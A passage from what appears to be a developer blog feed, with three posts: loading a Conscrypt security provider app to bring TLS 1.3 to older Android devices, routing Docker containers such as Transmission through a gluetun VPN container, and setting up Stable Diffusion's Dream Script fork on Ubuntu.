no peer certificate available</code></pre>
<h2 id="solutions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#solutions">Solutions</a></h2>
<h3 id="provider-installer-google-play-services" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#provider-installer-google-play-services">Provider Installer, Google Play Services</a></h3>
<p>Several versions of Android already come with TLS versions <em>available</em>, just not <em>enabled</em> by default. Enabling them for an application requires using something called the <a href="https://developers.google.com/android/reference/com/google/android/gms/security/ProviderInstaller">ProviderInstaller</a>, which is invoked using <code>ProviderInstaller.installIfNeeded(context)</code>. Simple, but just one problem — the library is closed source and isn’t eligible for use on F-Droid.</p>
<h3 id="conscrypt-provider-open-source" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#conscrypt-provider-open-source">Conscrypt Provider, Open Source</a></h3>
<p><a href="https://github.com/google/conscrypt">Conscrypt</a> is an open source library by Google that acts as a Java Security Provider (JSP). Unsurprisingly, I couldn’t find any good documentation on JSPs, how they work, or why they’re needed, but it was enough to understand that JSPs can be plugged into your application and the Java Runtime will make use of them. The great part about Conscrypt is that it can work on Android devices as old as version 2.2!</p>
<p>The library is available on maven, and once the library has been added to the application, using it is very simple,</p>
<pre class="language-java"><code class="language-java"><span class="token class-name">Security</span><span class="token punctuation">.</span><span class="token function">insertProviderAt</span><span class="token punctuation">(</span><span class="token class-name">Conscrypt</span><span class="token punctuation">.</span><span class="token function">newProvider</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>But there was a problem right away; it’s huge! Adding the library to GPSLogger added about 6 MB to the APK size effectively doubling it. This became a difficult decision point — not every user of GPSLogger needed this functionality, just some users connecting to services that happen to use later TLS versions. If possible, it would be nice if not every user had to suffer from the APK bloat to benefit a few.</p>
<h3 id="f-droid-post" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#f-droid-post">F-Droid post</a></h3>
<p>I eventually found <a href="https://f-droid.org/2020/05/29/android-updates-and-tls-connections.html">this blog post from F-Droid</a> which talked about this very issue and how it could be solved, the answers were all there! Being lazy, I chose the simplest solution: create a separate application that includes the library, let users install that application if needed, and only include the security provider if that application exists on the user’s device.</p>
<h2 id="conscrypt-provider-app" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#conscrypt-provider-app">Conscrypt Provider App</a></h2>
<p>So I’ve created an app called <a href="https://github.com/mendhak/Conscrypt-Provider">Conscrypt Provider</a> and <a href="https://f-droid.org/packages/com.mendhak.conscryptprovider/">published it on F-Droid</a>. Its <a href="https://github.com/mendhak/Conscrypt-Provider/blob/master/app/src/main/java/com/mendhak/conscryptprovider/ConscryptProvider.kt">actual code</a> is dead simple, literally the <code>Security.insertProviderAt</code> one-liner above.</p>
<p>The actual work happens in the <em>calling</em> application, this case GPSLogger. I have to include the Conscrypt Provider application, then load its main class, then call the <code>install</code> method.</p>
<pre class="language-java"><code class="language-java"><span class="token class-name">Context</span> targetContext <span class="token operator">=</span> context<span class="token punctuation">.</span><span class="token function">createPackageContext</span><span class="token punctuation">(</span><span class="token string">"com.mendhak.conscryptprovider"</span><span class="token punctuation">,</span>
<span class="token class-name">Context</span><span class="token punctuation">.</span><span class="token constant">CONTEXT_INCLUDE_CODE</span> <span class="token operator">|</span> <span class="token class-name">Context</span><span class="token punctuation">.</span><span class="token constant">CONTEXT_IGNORE_SECURITY</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">ClassLoader</span> classLoader <span class="token operator">=</span> targetContext<span class="token punctuation">.</span><span class="token function">getClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Class</span> installClass <span class="token operator">=</span> classLoader<span class="token punctuation">.</span><span class="token function">loadClass</span><span class="token punctuation">(</span><span class="token string">"com.mendhak.conscryptprovider.ConscryptProvider"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Method</span> installMethod <span class="token operator">=</span> installClass<span class="token punctuation">.</span><span class="token function">getMethod</span><span class="token punctuation">(</span><span class="token string">"install"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
installMethod<span class="token punctuation">.</span><span class="token function">invoke</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Log</span><span class="token punctuation">.</span><span class="token function">i</span><span class="token punctuation">(</span><span class="token string">"Conscrypt Provider installed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>As the F-Droid post explains, to avoid spoofing, a decent mitigation is to check the application’s signature. In my case, I am checking both my certificate as well as the F-Droid certificate signature.</p>
<pre class="language-java"><code class="language-java"><span class="token keyword">try</span> <span class="token punctuation">{</span>
<span class="token comment">//Get signature to compare - either Github or F-Droid versions</span>
<span class="token comment">//~/Android/Sdk/build-tools/33.0.0/apksigner verify --print-certs -v ~/Downloads/com.mendhak.conscryptprovider_3.apk</span>
<span class="token class-name">String</span> signature <span class="token operator">=</span> <span class="token function">getPackageSignature</span><span class="token punctuation">(</span><span class="token string">"com.mendhak.conscryptprovider"</span><span class="token punctuation">,</span> context<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>
signature<span class="token punctuation">.</span><span class="token function">equalsIgnoreCase</span><span class="token punctuation">(</span><span class="token string">"C7:90:8D:17:33:76:1D:F3:CD:EB:56:67:16:C8:00:B5:AF:C5:57:DB"</span><span class="token punctuation">)</span>
<span class="token operator">||</span> signature<span class="token punctuation">.</span><span class="token function">equalsIgnoreCase</span><span class="token punctuation">(</span><span class="token string">"9D:E1:4D:DA:20:F0:5A:58:01:BE:23:CC:53:34:14:11:48:76:B7:5E"</span><span class="token punctuation">)</span>
<span class="token punctuation">)</span> <span class="token punctuation">{</span>
signatureMatch <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">else</span> <span class="token punctuation">{</span>
<span class="token class-name">Log</span><span class="token punctuation">.</span><span class="token function">e</span><span class="token punctuation">(</span><span class="token string">"com.mendhak.conscryptprovider found, but with an invalid signature. Ignoring."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">return</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">//https://gist.github.com/ByteHamster/f488f9993eeb6679c2b5f0180615d518</span>
<span class="token class-name">Context</span> targetContext <span class="token operator">=</span> context<span class="token punctuation">.</span><span class="token function">createPackageContext</span><span class="token punctuation">(</span><span class="token string">"com.mendhak.conscryptprovider"</span><span class="token punctuation">,</span>
<span class="token class-name">Context</span><span class="token punctuation">.</span><span class="token constant">CONTEXT_INCLUDE_CODE</span> <span class="token operator">|</span> <span class="token class-name">Context</span><span class="token punctuation">.</span><span class="token constant">CONTEXT_IGNORE_SECURITY</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">ClassLoader</span> classLoader <span class="token operator">=</span> targetContext<span class="token punctuation">.</span><span class="token function">getClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Class</span> installClass <span class="token operator">=</span> classLoader<span class="token punctuation">.</span><span class="token function">loadClass</span><span class="token punctuation">(</span><span class="token string">"com.mendhak.conscryptprovider.ConscryptProvider"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Method</span> installMethod <span class="token operator">=</span> installClass<span class="token punctuation">.</span><span class="token function">getMethod</span><span class="token punctuation">(</span><span class="token string">"install"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
installMethod<span class="token punctuation">.</span><span class="token function">invoke</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
installed <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>
<span class="token class-name">Log</span><span class="token punctuation">.</span><span class="token function">i</span><span class="token punctuation">(</span><span class="token string">"Conscrypt Provider installed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token class-name">Log</span><span class="token punctuation">.</span><span class="token function">e</span><span class="token punctuation">(</span><span class="token string">"Could not install Conscrypt Provider"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre>
<p>The code for <code>getPackageSignature</code> is in the Github repo.</p>
<p>With these ingredients in place, I’m now able to provide TLS 1.3 to older devices while keeping the main application as lean as possible.</p>
<h2 id="surfacing-the-option-to-users" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#surfacing-the-option-to-users">Surfacing the option to users</a></h2>
<p>A chicken and egg situation still exists. I don’t want to nag every user to install the provider app, but only to users that will need it. How then, do I figure out whether a user needs it?</p>
<p>A very crude approach is to check the Android version and simply offer the extra app to install, but as mentioned earlier, it’s just unnecessary for most users if they’re not using a service that requires TLS 1.3.</p>
<p>A slightly sophisticated approach would require users running into an SSL socket or handshake exception, figuring out whether it’s related to TLS versions, and then offering them the option to install the app. I haven’t found a reliable way to determine this.</p>
<p>Even then, it’s still not foolproof, because the exception could occur while the application is running unattended.</p>
<p>I’ve left this as a thought exercise to mull over but for now, just having an option in the settings screen is ‘good enough’.</p>
How to run any Docker container's traffic through Wireguard or OpenVPN2022-10-07T00:00:00Zhttps://code.mendhak.com/run-docker-through-vpn-container/<p>I prefer running my Torrent (and related tools) in a container, for isolation from my host OS, as well as the ability to route all of its traffic through a VPN.</p>
<p>Although Docker images exist which bundle various tools with the VPN, it’s much cleaner to have a single container that manages the traffic, while leaving us with the freedom to choose which images we want going through the VPN. That means that we can use official or popular images and not worry about compatibility issues which would occur in more bloated images which try to do too much.</p>
<p>In this example I will use the <a href="https://github.com/qdm12/gluetun">gluetun</a> image which is a thin Docker container for multiple VPN providers (and supports OpenVPN and WireGuard). Importantly, it comes with a killswitch, so if the VPN connection goes down, none of our containers’ traffic should leak. I’ll use Surfshark as the VPN provider, with Wireguard as the protocol. An OpenVPN example is at the end.</p>
<h2 id="get-vpn-details" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#get-vpn-details">Get VPN details</a></h2>
<p>Login to Surfshark, and under manual set up, generate a new key pair. This is required for setting up Wireguard connections. Make a note of the private key that gets generated, you will need it shortly.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-docker-through-vpn-container/001.png">
<img src="https://code.mendhak.com/assets/images/run-docker-through-vpn-container/001.png" alt="Generate new key pair" loading="lazy" /></span>
<figcaption>Generate new key pair</figcaption>
</figure><p></p>
<p>From the Locations tab, pick a country you want the traffic routed through. Download the configuration file that comes with it, and open it up. Make a note of the <code>Address</code> field which will also be needed shortly, as well as the country name you chose. In this example I chose Finland.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-docker-through-vpn-container/002.png">
<img src="https://code.mendhak.com/assets/images/run-docker-through-vpn-container/002.png" alt="Address" loading="lazy" /></span>
<figcaption>Address</figcaption>
</figure><p></p>
<h2 id="set-up-the-vpn-container" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#set-up-the-vpn-container">Set up the VPN container</a></h2>
<p>Create a docker-compose.yml file as below, and substitute the noted values. The private key goes in <code>WIREGUARD_PRIVATE_KEY</code>, the address goes in <code>WIREGUARD_ADDRESSES</code>, and the country name goes in <code>SERVER_COUNTRIES</code>.</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token string">"3"</span>
<span class="token key atrule">services</span><span class="token punctuation">:</span>
<span class="token key atrule">gluetun</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> qmcgaw/gluetun
<span class="token key atrule">cap_add</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> NET_ADMIN
<span class="token key atrule">environment</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> VPN_SERVICE_PROVIDER=surfshark
<span class="token punctuation">-</span> VPN_TYPE=wireguard
<span class="token punctuation">-</span> WIREGUARD_PRIVATE_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
<span class="token punctuation">-</span> WIREGUARD_ADDRESSES=10.14.0.2/16
<span class="token punctuation">-</span> SERVER_COUNTRIES=Finland
</code></pre>
<p>Test the setup by running <code>docker-compose up</code>. If the connection is successful, you should see some successful messages and a public IP address.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-docker-through-vpn-container/003.png">
<img src="https://code.mendhak.com/assets/images/run-docker-through-vpn-container/003.png" alt="Successful connection" loading="lazy" /></span>
<figcaption>Successful connection</figcaption>
</figure><p></p>
<p>If you see failure messages, the process will keep restarting itself and retrying. In such a case, stop the container and then try using <code>SERVER_HOSTNAMES</code> instead of <code>SERVER_COUNTRIES</code>. For <code>SERVER_HOSTNAMES</code>, put the value of the domain value in <code>Endpoint</code> in the downloaded file. That is:</p>
<pre class="language-yaml"><code class="language-yaml"> <span class="token punctuation">-</span> SERVER_HOSTNAMES=fi<span class="token punctuation">-</span>hel.prod.surfshark.com</code></pre>
<h2 id="test-with-curl" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#test-with-curl">Test with curl</a></h2>
<p>Once the Gluetun container is running, you should do a quick test using curl. The trick here is to use the <code>network_mode</code> argument and point at the gluetun container.</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token string">"3"</span>
<span class="token key atrule">services</span><span class="token punctuation">:</span>
<span class="token key atrule">gluetun</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> qmcgaw/gluetun
<span class="token key atrule">cap_add</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> NET_ADMIN
<span class="token key atrule">environment</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> VPN_SERVICE_PROVIDER=surfshark
<span class="token punctuation">-</span> VPN_TYPE=wireguard
<span class="token punctuation">-</span> WIREGUARD_PRIVATE_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
<span class="token punctuation">-</span> WIREGUARD_ADDRESSES=10.14.0.2/16
<span class="token punctuation">-</span> SERVER_COUNTRIES=Finland
<span class="token key atrule">curl</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> curlimages/curl
<span class="token key atrule">network_mode</span><span class="token punctuation">:</span> <span class="token string">"service:gluetun"</span> <span class="token comment"># <-- the magic</span></code></pre>
<p>Start the gluetun container,</p>
<pre><code>docker-compose up gluetun
</code></pre>
<p>Once it’s up and ready, in a separate terminal, run a test from the curl container.</p>
<pre><code>docker-compose run --rm curl ifconfig.me
</code></pre>
<p>You should get the IP address of the VPN server rather than your own, and you can try verifying its location in a <a href="https://www.iplocation.net/ip-lookup">Geo IP lookup service</a>.</p>
<p>To test the killswitch, stop the gluetun container, and try running the curl test again. The output should hang and time out after a few minutes.</p>
<h2 id="running-with-transmission" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#running-with-transmission">Running with Transmission</a></h2>
<p>Transmission is a Torrent client that has a simple, easy-to-use web interface. It’s great for running in a container. We can now set up <a href="https://hub.docker.com/r/linuxserver/transmission">a Docker Transmission image</a> to use the VPN container we’ve set up above.</p>
<p>One special thing to note — Transmission requires ports 9091 and 51413 to be open. With this VPN based setup, the port mapping needs to happen on the <em>VPN container</em> and not Transmission itself.</p>
<p>Modify the docker-compose.yml, like so (with substituted values):</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token string">"3"</span>
<span class="token key atrule">services</span><span class="token punctuation">:</span>
<span class="token key atrule">gluetun</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> qmcgaw/gluetun
<span class="token key atrule">cap_add</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> NET_ADMIN
<span class="token key atrule">environment</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> VPN_SERVICE_PROVIDER=surfshark
<span class="token punctuation">-</span> VPN_TYPE=wireguard
<span class="token punctuation">-</span> WIREGUARD_PRIVATE_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
<span class="token punctuation">-</span> WIREGUARD_ADDRESSES=10.14.0.2/16
<span class="token punctuation">-</span> SERVER_COUNTRIES=Finland
<span class="token key atrule">ports</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token string">"0.0.0.0:9091:9091/tcp"</span> <span class="token comment"># <-- ports go here, not below</span>
<span class="token punctuation">-</span> 51413<span class="token punctuation">:</span>51413/tcp
<span class="token punctuation">-</span> 51413<span class="token punctuation">:</span>51413/udp
<span class="token key atrule">transmission</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> lscr.io/linuxserver/transmission<span class="token punctuation">:</span>latest
<span class="token key atrule">container_name</span><span class="token punctuation">:</span> transmission
<span class="token key atrule">network_mode</span><span class="token punctuation">:</span> <span class="token string">"service:gluetun"</span> <span class="token comment"># <-- important bit, don't forget</span>
<span class="token key atrule">environment</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> PUID=1000
<span class="token punctuation">-</span> PGID=1000
<span class="token punctuation">-</span> TZ=Europe/London
<span class="token punctuation">-</span> TRANSMISSION_WEB_HOME=/flood<span class="token punctuation">-</span>for<span class="token punctuation">-</span>transmission/
<span class="token key atrule">volumes</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> $<span class="token punctuation">{</span>PWD<span class="token punctuation">}</span>/transmission<span class="token punctuation">-</span>downloads<span class="token punctuation">:</span>/downloads
<span class="token punctuation">-</span> $<span class="token punctuation">{</span>PWD<span class="token punctuation">}</span>/transmission<span class="token punctuation">-</span>config<span class="token punctuation">:</span>/config
<span class="token key atrule">restart</span><span class="token punctuation">:</span> unless<span class="token punctuation">-</span>stopped
</code></pre>
<p>Now run the whole setup using <code>docker-compose up -d</code>. Wait a while, and browse to http://localhost:9091/. The Transmission UI should appear after a while.</p>
<p>To make extra sure that your Transmission traffic is going over the VPN, you can make use of <a href="https://torguard.net/checkmytorrentipaddress.php">an IP checking tool by Torguard</a>. Simply copy the magnet link and add it to Transmission. Show the error column in Transmission, where the IP address should appear. The IP address should also appear on the Torguard page.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-docker-through-vpn-container/004.png">
<img src="https://code.mendhak.com/assets/images/run-docker-through-vpn-container/004.png" alt="Torrent ip test" loading="lazy" /></span>
<figcaption>Torrent ip test</figcaption>
</figure><p></p>
<h2 id="running-with-other-containers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#running-with-other-containers">Running with other containers</a></h2>
<p>In the same manner as above, you can add more containers to the docker-compose setup. Just keep the two main modifications in mind:</p>
<ol>
<li>Set <code>network_mode: "service:gluetun"</code></li>
<li>If you need to expose a port on a container, expose it on the <code>gluetun</code> service</li>
</ol>
<p>When using services that need to talk to each other, such as Sonarr, Radarr, and so on, use <code>localhost</code> as the ‘server’ name in each tool’s settings pages, with the right port, so that they can see each other. The gist is that all of the services are ‘local’ to the VPN, just running on different ports.</p>
<h2 id="openvpn" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#openvpn">OpenVPN</a></h2>
<p>The process for running the traffic through OpenVPN instead of Wireguard is pretty similar to above. The difference is in the environment variables provided to gluetun. It only needs <code>VPN_TYPE=openvpn</code>, the <code>OPENVPN_USER</code> and <code>OPENVPN_PASSWORD</code>. The Wireguard related variables, <code>WIREGUARD_PRIVATE_KEY</code> and <code>WIREGUARD_ADDRESSES</code> can go. Example with curl:</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token string">"3"</span>
<span class="token key atrule">services</span><span class="token punctuation">:</span>
<span class="token key atrule">gluetun</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> qmcgaw/gluetun
<span class="token key atrule">cap_add</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> NET_ADMIN
<span class="token key atrule">environment</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> VPN_SERVICE_PROVIDER=surfshark
<span class="token punctuation">-</span> VPN_TYPE=openvpn
<span class="token punctuation">-</span> OPENVPN_USER=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
<span class="token punctuation">-</span> OPENVPN_PASSWORD=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
<span class="token punctuation">-</span> SERVER_COUNTRIES=Finland
<span class="token key atrule">curl</span><span class="token punctuation">:</span>
<span class="token key atrule">image</span><span class="token punctuation">:</span> curlimages/curl
<span class="token key atrule">network_mode</span><span class="token punctuation">:</span> <span class="token string">"service:gluetun"</span> </code></pre>
<p>For more details, see <a href="https://github.com/qdm12/gluetun/wiki/Surfshark">the gluetun wiki</a> which has lots of VPN provider instructions and more details.</p>
<h2 id="the-country-is-optional" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-docker-through-vpn-container/#the-country-is-optional">The country is optional</a></h2>
<p>In the examples above I’ve chosen a country deliberately, just for the sake of safety and thoroughness. But actually, specifying a country is optional. The <code>SERVER_COUNTRIES</code>, if omitted, will cause the VPN to use your country.</p>
The simplest way to get started with Stable Diffusion via CLI on Ubuntu2022-09-02T00:00:00Zhttps://code.mendhak.com/run-stable-diffusion-on-ubuntu/<div class="notice warning">
Due to the rapidly evolving nature of the GenAI ecosystem, the instructions in this post may become outdated as applications are developed, updated, and abandoned.
</div>
<p>Stable Diffusion is a machine learning model that can generate images from natural language descriptions. Because it’s open source, it’s also easy to run it locally, which makes it very convenient to experiment with in your own time. The simplest and best way of running Stable Diffusion is through the <a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui">Automatic1111 repo</a>, but there’s also a commandline friendly <a href="https://github.com/lstein/stable-diffusion">Dream Script Stable Diffusion</a> fork, which comes with some convenience functions.</p>
<h2 id="setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#setup">Setup</a></h2>
<h3 id="install-anaconda" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#install-anaconda">Install Anaconda</a></h3>
<p>Download the Anaconda installer script from <a href="https://www.anaconda.com/products/distribution#linux">their website</a> and install it. The download URL may change over time, so replace it.:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">wget</span> https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh
<span class="token function">chmod</span> +x Anaconda3-2022.05-Linux-x86_64.sh
<span class="token comment"># Install Anaconda without prompts</span>
./Anaconda3-2022.05-Linux-x86_64.sh <span class="token parameter variable">-b</span></code></pre>
<p>Once installation is finished, initialise conda, but tell it not to activate each time the shell starts.</p>
<pre class="language-bash"><code class="language-bash">~/anaconda3/bin/conda config <span class="token parameter variable">--set</span> auto_activate_base <span class="token boolean">false</span>
~/anaconda3/bin/conda init</code></pre>
<h3 id="get-the-model-file" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#get-the-model-file">Get the model file</a></h3>
<p>The model file needed by Stable Diffusion is hosted on <a href="https://huggingface.co/CompVis/">Hugging Face</a>. You will need to register with any email address. Once registered, head to the latest model repository, which at the time of writing is <a href="https://huggingface.co/CompVis/stable-diffusion-v-1-4-original/tree/main">stable-diffusion-v-1-4-original</a>. Under the ‘files and versions’ tab, download the checkpoint file, <code>sd-v1-4.ckpt</code>.</p>
<h3 id="get-the-dream-script-stable-diffusion-repository" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#get-the-dream-script-stable-diffusion-repository">Get the Dream Script Stable Diffusion repository</a></h3>
<p>The Dream Script Stable Diffusion repo is a fork of Stable Diffusion, it comes with some convenience functions to accept a text prompt, as well as a web interface.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> clone https://github.com/lstein/stable-diffusion.git
<span class="token builtin class-name">cd</span> stable-diffusion</code></pre>
<p>Next, move the model file downloaded previously, into this repo, renaming it to <code>model.ckpt</code></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">mkdir</span> <span class="token parameter variable">-p</span> models/ldm/stable-diffusion-v1/
<span class="token function">mv</span> ~/Downloads/sd-v1-4.ckpt models/ldm/stable-diffusion-v1/model.ckpt</code></pre>
<h3 id="create-the-conda-environment" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#create-the-conda-environment">Create the conda environment</a></h3>
<p>While still in the Stable Diffusion repo, create the conda environment in which the scripts will run.</p>
<pre class="language-bash"><code class="language-bash">conda <span class="token function">env</span> create <span class="token parameter variable">-f</span> environment.yaml</code></pre>
<p>The first time this step runs, it will take a long time, due to the numerous dependencies involved.</p>
<h2 id="run-stable-diffusion" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#run-stable-diffusion">Run Stable Diffusion</a></h2>
<p>Once the setup is done, these are the steps to run Stable Diffusion. Activate the conda environment, preload models, and run the dream script.</p>
<pre class="language-bash"><code class="language-bash">conda activate ldm
python scripts/preload_models.py
python scripts/dream.py</code></pre>
<p>A prompt will appear where you can enter some natural language text.</p>
<pre class="language-bash"><code class="language-bash">* Initialization done<span class="token operator">!</span> Awaiting your <span class="token builtin class-name">command</span> <span class="token punctuation">(</span>-h <span class="token keyword">for</span> help, <span class="token string">'q'</span> to quit<span class="token punctuation">)</span>
dream<span class="token operator">></span></code></pre>
<p>As an example, try</p>
<pre><code>dream> photograph of highly detailed closeup of victoria sponge cake
</code></pre>
<p>Wait a few seconds, and an image gets generated in the <code>outputs/img-sample</code> folder.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/run-stable-diffusion-on-ubuntu/001.png">
<img src="https://code.mendhak.com/assets/images/run-stable-diffusion-on-ubuntu/001.png" alt="Example" loading="lazy" /></span>
<figcaption>Example</figcaption>
</figure><p></p>
<p>Conveniently, a <code>dream_log.txt</code> file shows you all the prompts you’ve run in case you want to refer back to something. Against each line, you will also see a seed number that looks something like this: <code>-S2420237860</code>. This allows you to regenerate the exact same image by specifying the seed with your text prompt.</p>
<pre><code>dream> photograph of highly detailed closeup of victoria sponge cake -S2420237860
</code></pre>
<h3 id="using-an-image-as-a-source" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#using-an-image-as-a-source">Using an image as a source</a></h3>
<p>You can also use a crude image as a source for the prompt with the <code>--init_img</code> flag.</p>
<pre><code>dream> mountains and river, Artstation, Golden Hour, Sunlight, detailed, elegant, ornate, rocky mountains, Illustration, by Weta Digital, Painting, Saturated, Sun rays --init_img=/home/mendhak/Desktop/rough_drawing.png
</code></pre>
<p>You can take the output from one step and re-feed it as the input again, and come up with some interesting results.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/run-stable-diffusion-on-ubuntu/004.png"><img src="https://code.mendhak.com/assets/images/run-stable-diffusion-on-ubuntu/004.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/run-stable-diffusion-on-ubuntu/005.png"><img src="https://code.mendhak.com/assets/images/run-stable-diffusion-on-ubuntu/005.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/run-stable-diffusion-on-ubuntu/006.png"><img src="https://code.mendhak.com/assets/images/run-stable-diffusion-on-ubuntu/006.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>Mountains and river, output re-fed multiple times</figcaption></figure>
<h3 id="generating-larger-images" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#generating-larger-images">Generating larger images</a></h3>
<p>By default the output is 512x512 pixels. There is a separate module you can use to upscale the output, called Real-ESRGAN.<br />
It’s really simple to install, while in the conda ldm environment, run:</p>
<pre class="language-bash"><code class="language-bash">pip <span class="token function">install</span> realesrgan</code></pre>
<p>After it’s installed, go back into the dream script, generate an image, and this time add the <code>-U</code> flag at the end of the prompt (either 2 or 4)</p>
<pre><code>dream> butterfly -U 4
</code></pre>
<h3 id="face-restoration" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#face-restoration">Face restoration</a></h3>
<p>The module for face restoration is called GFPGAN. <a href="https://github.com/TencentARC/GFPGAN#installation">Follow its installation instructions here</a>, clone the GFPGAN directory alongside the stable-diffusion directory. And be sure to download the pre-trained model as shown. You can then use the <code>-G</code> flag as shown <a href="https://github.com/lstein/stable-diffusion#gfpgan-and-real-esrgan-support">in the Dream Script Stable Diffusion repo</a>.</p>
